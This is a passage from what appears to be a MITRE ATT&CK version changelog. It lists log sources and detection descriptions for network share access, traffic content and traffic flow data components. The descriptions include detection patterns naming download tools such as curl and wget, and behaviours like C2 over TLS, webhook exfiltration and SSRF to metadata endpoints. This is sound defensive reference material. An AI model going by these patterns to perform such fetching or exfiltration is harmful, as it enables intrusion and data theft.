connection from exploited lineage'}, {'name': 'macos:osquery', 'channel': 'CONNECT: Long-lived connections from remote-control parents to external IPs/domains'}, {'name': 'auditd:SYSCALL', 'channel': 'outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or socket'}, {'name': 'macos:unifiedlog', 'channel': 'log stream network activity'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock"}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: Process binds to a new local port shortly after knock'}, {'name': 'NSM:Flow', 'channel': 'Closed-port hits followed by success from same src_ip'}, {'name': 'NSM:Flow', 'channel': 'Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock'}, {'name': 'WinEventLog:Microsoft-Windows-WLAN-AutoConfig', 'channel': '8001, 8002, 8003'}, {'name': 'linux:syslog', 'channel': 'New Wi-Fi connection established or repeated association failures'}, {'name': 'macos:unifiedlog', 'channel': 'Association and authentication events including failures and new SSIDs'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect calls showing SSH processes forwarding arbitrary ports'}, {'name': 'esxi:vmkernel', 'channel': 'network session initiation with external HTTPS services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=8001'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'openat,connect -k discovery'}, {'name': 'NSM:Flow', 'channel': 'Unexpected inbound/outbound TFTP traffic for device image files'}, {'name': 'NSM:Flow', 'channel': 'Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:23.639000+00:002025-10-21 15:14:34.190000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0102] Network Share Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0102', 'external_id': 'DC0102'}]
x_mitre_log_sources[{'name': 'Network Share', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-Windows-SMBClient/Security', 'channel': 'EventID=31001'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5140'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145'}, {'name': 'WinEventLog:Microsoft-Windows-SMBServer', 'channel': 'Access to SYSVOL share from non-admin user or unusual endpoints'}, {'name': 'NSM:Flow', 'channel': 'smb_files.log'}, {'name': 'm365:unified', 'channel': 'FileUploaded, FileAccessed'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:01.621000+00:002025-10-21 15:14:37.412000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0085] Network Traffic Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0085', 'external_id': 'DC0085'}]
x_mitre_log_sources[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'ebpf:syscalls', 'channel': 'Process within container accesses link-local address 169.254.169.254'}, {'name': 'WebProxy:AccessLogs', 'channel': 'SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log / xmpp.log (custom log feeds)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log or AMQP custom log'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log, xmpp.log, amqp.log'}, {'name': 'networkdevice:syslog', 'channel': 'ACL/Firewall rule modification or new route injection'}, {'name': 'm365:office', 'channel': 'External HTTP/DNS connection from Office binary shortly after macro trigger'}, {'name': 'NSM:Flow', 'channel': 'TCP/UDP'}, {'name': 'NSM:Flow', 'channel': 'TCP session tracking'}, {'name': 'NSM:Flow', 'channel': 'Captured packet payloads'}, {'name': 'NSM:Flow', 'channel': 'session behavior'}, {'name': 'esxi:vmkernel', 'channel': 'Network activity'}, {'name': 'NSM:Flow', 'channel': 'External C2 channel over TLS'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Inbound/outbound transfer of ELF shared objects'}, {'name': 'NSM:Flow', 'channel': 'http.log, files.log'}, {'name': 'NSM:Flow', 'channel': 'unexpected network activity initiated shortly after shell session starts'}, {'name': 'NSM:Flow', 'channel': 'HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log'}, {'name': 'NSM:Flow', 'channel': 'http.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'SPAN or port-mirrored HTTP/S'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log, websocket.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network metrics correlation for bandwidth saturation'}, {'name': 'docker:stats', 'channel': 'unusual network TX/RX byte deltas'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'HTTPS Inspection'}, {'name': 'NSM:Flow', 'channel': 'ssl.log'}, {'name': 'linux:syslog', 'channel': 'Query to suspicious domain with high entropy or low reputation'}, {'name': 'macos:unifiedlog', 'channel': 'DNS query with pseudo-random subdomain patterns'}, {'name': 'azure:vpcflow', 'channel': 'HTTP requests to 169.254.169.254 or Azure Metadata endpoints'}, {'name': 'NSM:Flow', 'channel': 'Browser connections to known C2 or dynamic DNS domains'}, {'name': 'NSM:Flow', 'channel': 'Session History Reset'}, {'name': 'NSM:Flow', 'channel': 'HTTP '}, {'name': 'macos:unifiedlog', 'channel': 'network flow'}, {'name': 'linux:syslog', 'channel': 'curl|wget|python .*http'}, {'name': 'macos:unifiedlog', 'channel': 'curl|osascript.*open location'}, {'name': 'NSM:Flow', 'channel': 'query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes'}, {'name': 'etw:Microsoft-Windows-NDIS-PacketCapture', 'channel': 'TLS Handshake/Network Flow'}, {'name': 'NSM:Flow', 'channel': 'HTTP/TLS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.network'}, {'name': 'linux:syslog', 'channel': 'Unexpected SQL or application log entries showing tampered or malformed data'}, {'name': 'EDR:hunting', 'channel': 'Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, URL shorteners'}, {'name': 'macos:unifiedlog', 'channel': 'open URL|clicked link|LSQuarantineAttach'}, {'name': 'NSM:Flow', 'channel': 'Suspicious GET/POST; downloader patterns'}, {'name': 'NSM:Flow', 'channel': 'SSH logins or scp activity'}, {'name': 'NSM:Flow', 'channel': 'remote login and transfer'}, {'name': 'esxi:vob', 'channel': 'NFS/remote access logs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic between instances'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=5005 (WLAN), EventCode=302 (Bluetooth)'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious long-lived or reattached remote desktop sessions from unexpected IPs'}, {'name': 'NSM:Flow', 'channel': 'HTTP payloads with SQLi/LFI/JNDI/deserialization indicators'}, {'name': 'NSM:Flow', 'channel': 'outbound egress from web host after suspicious request'}, {'name': 'NSM:Flow', 'channel': 'Requests towards cloud metadata or command & control from pod IPs'}, {'name': 'ALB:HTTPLogs', 'channel': 'AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts'}, {'name': 'NSM:Flow', 'channel': 'Connections to TCP 427 (SLP) or vCenter web services from untrusted sources'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow for odd egress to Internet from mgmt plane'}, {'name': 'NSM:Flow', 'channel': 'packet capture or DPI logs'}, {'name': 'NSM:Flow', 'channel': 'http.log'}, {'name': 'NSM:Flow', 'channel': 'SMB2_LOGOFF/SMB_TREE_DISCONNECT'}, {'name': 'macos:unifiedlog', 'channel': 'Connections to suspicious domains with mismatched certificate or unusual patterns'}, {'name': 'NSM:Flow', 'channel': 'Unusual Base64-encoded content in URI, headers, or POST body'}, {'name': 'NSM:Flow', 'channel': 'Base64 strings or gzip in URI, headers, or POST body'}, {'name': 'macos:unifiedlog', 'channel': 'HTTP POST with encoded content in user-agent or cookie field'}, {'name': 'esxi:vmkernel', 'channel': 'Outbound traffic using encoded payloads post-login'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to 22/5900/8080 and follow-on internal connections.'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body contains long Base64 sections'}, {'name': 'NSM:Flow', 'channel': 'http: Base64/MIME looking payloads from ESXi host IP'}, {'name': 'NSM:Flow', 'channel': 'LDAP Bind/Search'}, {'name': 'NSM:Flow', 'channel': 'LDAP Query'}, {'name': 'macos:unifiedlog', 'channel': 'log stream (subsystem: com.apple.system.networking)'}, {'name': 'NSM:Flow', 'channel': 'smtp.log'}, {'name': 'NSM:Flow', 'channel': 'smtp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'remote CLI session detection'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted connection with anomalous payload entropy'}, {'name': 'esxcli:network', 'channel': 'Socket sessions with randomized payloads inconsistent with TLS'}, {'name': 'NSM:Connections', 'channel': 'Symmetric encryption detected without TLS handshake sequence'}, {'name': 'NSM:Flow', 'channel': 'http.log, ftp.log'}, {'name': 'NSM:Flow', 'channel': 'PCAP inspection'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to webhook endpoints'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to webhook endpoints'}, {'name': 'NSM:Flow', 'channel': 'Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed ≤TimeWindow by outbound SF from same host to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Inbound one-off packet to uncommon port → outbound SF to same src_ip within TimeWindow.'}, {'name': 'networkdevice:config', 'channel': 'NAT table modification (add/update/delete rule)'}, {'name': 'NSM:Flow', 'channel': 'large upload to firmware interface port or path'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid incoming TLS handshakes or HTTP requests in quick succession'}, {'name': 'NSM:Flow', 'channel': 'http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources'}, {'name': 'NSM:Flow', 'channel': 'http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains'}, {'name': 'NSM:Flow', 'channel': 'HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)'}, {'name': 'NSM:Connections', 'channel': 'TLS handshake + HTTP headers'}, {'name': 'NSM:Flow', 'channel': 'ssl.log + http.log'}, {'name': 'macos:unifiedlog', 'channel': 'network, socket, and http logs'}, {'name': 'NSM:Firewall', 'channel': 'TLS/HTTP inspection'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Outbound transfer of large video-like MIME types soon after capture'}, {'name': 'container:proxy', 'channel': 'outbound/inbound network activity from spawned pods'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound to non-standard ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound SCP, TFTP, or FTP sessions carrying configuration file content'}, {'name': 'NSM:Flow', 'channel': 'Session Transfer Content'}, {'name': 'NSM:Flow', 'channel': 'Captured File Content'}, {'name': 'NSM:Flow', 'channel': 'C2 exfiltration'}, {'name': 'NSM:Flow', 'channel': 'Transferred file observations'}, {'name': 'apache:access_log', 'channel': "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"}, {'name': 'NSM:Flow', 'channel': 'http::post: Outbound HTTP POST from host shortly after DB export activity'}, {'name': 'NSM:Flow', 'channel': 'HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage'}, {'name': 'NSM:Flow', 'channel': 'Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions'}, {'name': 'NSM:Flow', 'channel': 'New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs'}, {'name': 'NSM:Flow', 'channel': 'New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot'}, {'name': 'docker:events', 'channel': 'remote API calls to /containers/create or /containers/{id}/start'}, {'name': 'NSM:Flow', 'channel': 'http::request: Network connection to package registry or C2 from interpreter shortly after install'}, {'name': 'linux:syslog', 'channel': 'Integrity mismatch warnings or malformed packets detected'}, {'name': 'NSM:Flow', 'channel': 'http::request: Outbound HTTP initiated by Python interpreter'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Outbound requests with forged tokens/cookies in headers'}, {'name': 'linux:syslog', 'channel': 'DNS response IPs followed by connections to non-standard calculated ports'}, {'name': 'macos:unifiedlog', 'channel': 'DNS responses followed by connections to ports outside standard ranges'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound traffic to mining domains'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted session initiation by unexpected binary'}, {'name': 'esxi:vmkernel', 'channel': 'Inspection of sockets showing encrypted sessions from non-baseline processes'}, {'name': 'NSM:Connections', 'channel': 'Abnormal certificate chains or non-standard ports carrying TLS'}, {'name': 'NSM:Flow', 'channel': 'DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to text storage domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to pastebin-like domains'}, {'name': 'NSM:Flow', 'channel': 'Unexpected ARP replies or DNS responses inconsistent with authoritative servers'}, {'name': 'NSM:Flow', 'channel': 'TLS downgrade or inconsistent DNS answers'}, {'name': 'NSM:Flow', 'channel': 'Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large volume of malformed or synthetic payloads to application endpoints prior to failure'}, {'name': 'networkconfig ', 'channel': 'interface flag PROMISC, netstat | ip link | ethtool'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'promiscuous'"}, {'name': 'networkdevice:syslog', 'channel': 'config change (e.g., logging buffered, pcap buffers)'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to code repository APIs'}, {'name': 'azure:activity', 'channel': 'networkInsightsLogs'}, {'name': 'gcp:audit', 'channel': 'network.query*'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Unusual external domain access'}, {'name': 'NSM:Flow', 'channel': 'conn.log or http.log'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs'}, {'name': 'NSM:Flow', 'channel': 'dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently'}, {'name': 'NSM:Flow', 'channel': 'http: suspicious long tokens with custom alphabets in body/headers'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies from ESXi host IPs containing long, non-standard tokens'}, {'name': 'NSM:Flow', 'channel': 'Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols'}, {'name': 'NSM:Flow', 'channel': 'HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts'}, {'name': 'NSM:Flow', 'channel': 'Egress to non-approved networks from host after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'Flow/PCAP analysis for outbound payloads'}, {'name': 'NSM:Flow', 'channel': 'conn.log + files.log + ssl.log'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'open', 'sendto', 'connect'"}, {'name': 'NSM:Flow', 'channel': 'HTTPS or custom protocol traffic with large payloads'}, {'name': 'esxi:vmkernel', 'channel': 'network stack module logs'}, {'name': 'NSM:Flow', 'channel': 'Unexpected script or binary content returned in HTTP response body'}, {'name': 'NSM:Flow', 'channel': 'Injected content responses with unexpected script/malware signatures'}, {'name': 'NSM:Flow', 'channel': 'Content injection observed in HTTPS responses with mismatched certificates or altered payloads'}, {'name': 'NSM:Firewall', 'channel': 'High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion'}, {'name': 'NSM:Firewall', 'channel': 'Anomalous TCP SYN or ACK spikes from specific source or interface'}, {'name': 'saas:confluence', 'channel': 'REST API access from non-browser agents'}, {'name': 'Netfilter/iptables', 'channel': 'Forwarded packets log'}, {'name': 'NSM:Flow', 'channel': 'Relay patterns across IP hops'}, {'name': 'NSM:Firewall', 'channel': 'Outbound encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'ldap.log'}, {'name': 'macos:unifiedlog', 'channel': 'dns-sd, mDNSResponder, socket activity'}, {'name': 'networkdevice:IDS', 'channel': 'content inspection / PCAP / HTTP body'}, {'name': 'NSM:Flow', 'channel': 'Probe responses from unauthorized APs responding to client probe requests'}, {'name': 'auditd:SYSCALL', 'channel': 'setsockopt, ioctl modifying ARP entries'}, {'name': 'NSM:Flow', 'channel': 'Excessive gratuitous ARP replies on local subnet'}, {'name': 'NSM:Flow', 'channel': 'Inbound HTTP POST with suspicious payload size or user-agent'}, {'name': 'NSM:Flow', 'channel': 'POST requests to .php, .jsp, .aspx files with high entropy body'}, {'name': 'NSM:Flow', 'channel': 'dns.log'}, {'name': 'NSM:FLow', 'channel': 'dns.log'}, {'name': 'NSM:Flow', 'channel': 'Encrypted tunnels or proxy traffic to non-standard destinations'}, {'name': 'esxi:vmkernel', 'channel': 'Suspicious traffic filtered or redirected by VM networking stack'}, {'name': 'NSM:Flow', 'channel': 'large transfer from management IPs to unauthorized host'}, {'name': 'NSM:Flow', 'channel': 'Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, smb_files.log'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'mirror/SPAN port'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log, smb_files.log'}, {'name': 'linux:syslog', 'channel': 'Multiple NXDOMAIN responses and high entropy domains'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Inspection or PCAP'}, {'name': 'NSM:Flow', 'channel': 'conn.log, ssl.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network activity'}, {'name': 'NSM:Flow', 'channel': 'http, dns, smb, ssl logs'}, {'name': 'NSM:Flow', 'channel': 'dns, ssl, conn'}, {'name': 'NSM:Flow', 'channel': 'conn.log, http.log, dns.log, ssl.log'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP traffic (Wireshark, Suricata, Zeek)'}, {'name': 'NSM:Flow', 'channel': 'icmp.log, weird.log'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)'}, {'name': 'esxi:vmkernel', 'channel': 'VMCI syslog entries'}, {'name': 'NSM:Firewall', 'channel': 'ICMP/UDP protocol anomaly'}, {'name': 'NSM:Flow', 'channel': 'Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts'}, {'name': 'NSM:Flow', 'channel': 'DHCP OFFER or ACK with unauthorized DNS/gateway parameters'}, {'name': 'NSM:Flow', 'channel': 'Multiple DHCP OFFER responses for a single DISCOVER'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Handshake Analysis'}, {'name': 'NSM:Flow', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Flow', 'channel': 'Network Capture TLS/HTTP'}, {'name': 'NSM:Content', 'channel': 'SSL Certificate Metadata'}, {'name': 'NSM:Content', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Content', 'channel': 'TLS Fingerprint and Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'container egress to unknown IPs/domains'}, {'name': 'gcp:vpcflow', 'channel': 'first 5m egress to unknown ASNs'}, {'name': 'NSM:Flow', 'channel': 'HTTP Request Logging'}, {'name': 'WinEventLog:iis', 'channel': 'IIS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.WebKit'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs'}, {'name': 'NSM:Flow', 'channel': 'ssh connections originating from third-party CIDRs'}, {'name': 'NSM:Flow', 'channel': 'ssh/smb connections to internal resources from third-party devices'}, {'name': 'NSM:Flow', 'channel': 'Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines'}, {'name': 'NSM:Flow', 'channel': 'ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)'}, {'name': 'NSM:Flow', 'channel': 'host switch egress data'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.WebKit or com.apple.WebKit.Networking'}, {'name': 'NSM:Flow', 'channel': 'ssl.log - Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, x509.log'}, {'name': 'NSM:Flow', 'channel': 'Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF×6 + 16×MAC)'}, {'name': 'WIDS:AssociationLogs', 'channel': 'Unauthorized AP or anomalous MAC address connection attempts'}, {'name': 'macos:unifiedlog', 'channel': 'encrypted outbound traffic carrying unexpected application data'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound with non-standard encapsulated protocols'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound connections with consistent periodicity'}, {'name': 'macos:unifiedlog', 'channel': 'TLS connections with abnormal handshake sequence or self-signed cert'}, {'name': 'esxcli:network', 'channel': 'Socket inspection showing RSA key exchange outside baseline endpoints'}, {'name': 'IDS:TLSInspection', 'channel': 'Malformed certs, incomplete asymmetric handshakes, or invalid CAs'}, {'name': 'macos:unifiedlog', 'channel': 'Web server process initiating outbound TCP connections not tied to normal server traffic'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TLS connections to cloud storage providers'}, {'name': 'saas:box', 'channel': 'API calls exceeding baseline thresholds'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to cloud storage APIs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High volume internal-to-internal IP transfer or cross-account cloud transfer'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'WinINet API telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'process, network'}, {'name': 'NSM:Connections', 'channel': 'Unusual POST requests to admin or upload endpoints'}, {'name': 'NSM:Flow', 'channel': 'Suspicious POSTs to upload endpoints'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures or unusual community string usage in SNMP queries'}, {'name': 'API:ConfigRepoAudit', 'channel': 'Access to configuration repository endpoints, unusual enumeration requests or mass downloads'}, {'name': 'NSM:Content', 'channel': 'Traffic on RPC DRSUAPI'}, {'name': 'macos:unifiedlog', 'channel': "process = 'ssh' OR eventMessage CONTAINS 'ssh'"}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:16.672000+00:002025-10-21 15:14:34.343000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0078] Network Traffic Flow

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0078', 'external_id': 'DC0078'}]
x_mitre_log_sources[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'socket_events'}, {'name': 'NSM:Flow', 'channel': 'Unexpected flows between segmented networks or prohibited ports'}, {'name': 'snmp:config', 'channel': 'Configuration change traps or policy enforcement failures'}, {'name': 'NSM:Flow', 'channel': 'First-time outbound connections to package registries or unknown hosts immediately after restore/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to new registries/CDNs post-install/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved registries after dependency install'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets'}, {'name': 'NSM:Flow', 'channel': 'large outbound data flows or long-duration connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'egress > 90th percentile or frequent connection reuse'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect'}, {'name': 'esxi:syslog', 'channel': 'esxcli network vswitch or DNS resolver configuration updates'}, {'name': 'esxi:vobd', 'channel': 'Network Events'}, {'name': 'iptables:LOG', 'channel': 'TCP connections'}, {'name': 'NSM:Flow', 'channel': 'connection metadata'}, {'name': 'wineventlog:dhcp', 'channel': 'DHCP Lease Granted'}, {'name': 'NSM:Flow', 'channel': 'LEASE_GRANTED'}, {'name': 'NSM:Flow', 'channel': 'MAC not in allow-list acquiring IP (DHCP)'}, {'name': 'Windows Firewall Log', 'channel': 'SMB over high port'}, {'name': 'NSM:Connections', 'channel': 'Internal connection logging'}, {'name': 'NSM:Flow', 'channel': 'pf firewall logs'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'NSM:Flow', 'channel': 'Inter-segment traffic'}, {'name': 'NSM:Flow', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Long-lived or hijacked SSH sessions maintained with no active user activity'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'VPC/NSG flow logs for pod/instance egress to Internet or metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound traffic from browser binary to non-standard domains'}, {'name': 'NSM:Flow', 'channel': 'Abnormal browser traffic volume or destination'}, {'name': 'NSM:Flow', 'channel': 'Outbound requests to domains not previously resolved or associated with phishing campaigns'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click'}, {'name': 'M365Defender:DeviceNetworkEvents', 'channel': 'NetworkConnection: bytes_sent >> bytes_received anomaly'}, {'name': 'PF:Logs', 'channel': 'outbound flows with bytes_out >> bytes_in'}, {'name': 'NSX:FlowLogs', 'channel': 'network_flow: bytes_out >> bytes_in to external'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/Zeek conn.log'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound data flows'}, {'name': 'NSM:Flow', 'channel': 'Flow records with entropy signatures resembling symmetric encryption'}, {'name': 'NSM:Flow', 'channel': 'flow records'}, {'name': 'networkdevice:syslog', 'channel': 'flow records'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST to known webhook URLs'}, {'name': 'saas:api', 'channel': 'Webhook registrations or repeated POST activity'}, {'name': 'NSM:Flow', 'channel': 'Source/destination IP translation inconsistent with intended policy'}, {'name': 'SNMP:DeviceLogs', 'channel': 'Unexpected NAT translation statistics or rule insertion events'}, {'name': 'NSM:Flow', 'channel': 'Sudden spike in incoming flows to web service ports from single/multiple IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of inbound packets from single source across short time interval'}, {'name': 'NSM:Flow', 'channel': 'port 5900 inbound'}, {'name': 'NSM:Flow', 'channel': 'TCP port 5900 open'}, {'name': 'NSM:firewall', 'channel': 'inbound connection to port 5900'}, {'name': 'NSM:Firewall', 'channel': 'Outbound connections to 139/445 to multiple destinations'}, {'name': 'VPCFlowLogs:All', 'channel': 'High volume internal traffic with low entropy indicating looped or malicious DoS script'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow/PCAP'}, {'name': 'NSM:Flow', 'channel': 'Outbound Network Flow'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.network'}, {'name': 'NSM:Flow', 'channel': 'Device-to-Device Deployment Flows'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect syscalls'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TCP/UDP traffic over unexpected port'}, {'name': 'esxi:vpxd', 'channel': 'ESXi service connections on unexpected 